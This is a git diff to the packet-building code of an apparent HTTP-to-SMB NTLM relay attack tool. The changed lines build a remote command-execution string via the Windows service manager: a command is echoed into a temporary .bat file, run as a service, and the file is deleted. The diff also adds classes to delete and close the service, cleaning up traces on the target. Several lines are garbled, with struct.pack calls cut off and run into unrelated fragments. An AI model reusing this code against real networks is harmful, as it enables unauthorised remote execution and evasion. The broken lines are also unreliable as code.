diff --git a/tools/RelayHTTPSMB/HTTPRelayPacket.py b/tools/RelayHTTPSMB/HTTPRelayPacket.py index 7bc9e27..ddd8193 100644 --- a/tools/RelayHTTPSMB/HTTPRelayPacket.py +++ b/tools/RelayHTTPSMB/HTTPRelayPacket.py @@ -324,6 +324,7 @@ class SMBTreeConnectData(Packet): BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) self.fields["Bcc"] = struct.pack(""+WinTmpPath+" >"+File - #That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file. + FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File + #That is: echo cmd into random .bat file, run .bat file, delete the bat file (it's loaded in memory). self.fields["FileName"] = ""#Reset it. self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo. self.fields["BinCMD"] = FinalCMD - self.fields["BintoEnd"] = "& %COMSPEC% /C "+File + self.fields["BintoEnd"] = "& %COMSPEC% /C "+File+" &exit"#make sure to exit when done. BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"]) ## Calculate first @@ -621,6 +620,17 @@ class SMBDCESVCCTLStartService(Packet): ("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"), ]) +class SMBDCESVCCTLDeleteService(Packet): + fields = OrderedDict([ + ("ContextHandle", ""), + ]) + +class SMBDCESVCCTLCloseService(Packet): + fields = OrderedDict([ + ("ContextHandle", ""), + ]) + + class OpenAndX(Packet): fields = OrderedDict([ ("Wordcount", "\x0f"), @@ -638,12 +648,11 @@ class OpenAndX(Packet): ("Reserved2", "\x00\x00\x00\x00"), ("Bcc", "\x0b\x00"), ("Terminator", ""), - ("File", "\\hola.txt"), - ("FileNull", "\x00"),#00 00 + ("File", "\\"), + ("FileNull", "\x00"), ]) def calculate(self): - #self.fields["File"] = self.fields["File"].encode('utf-16le') self.fields["Bcc"] = struct.pack("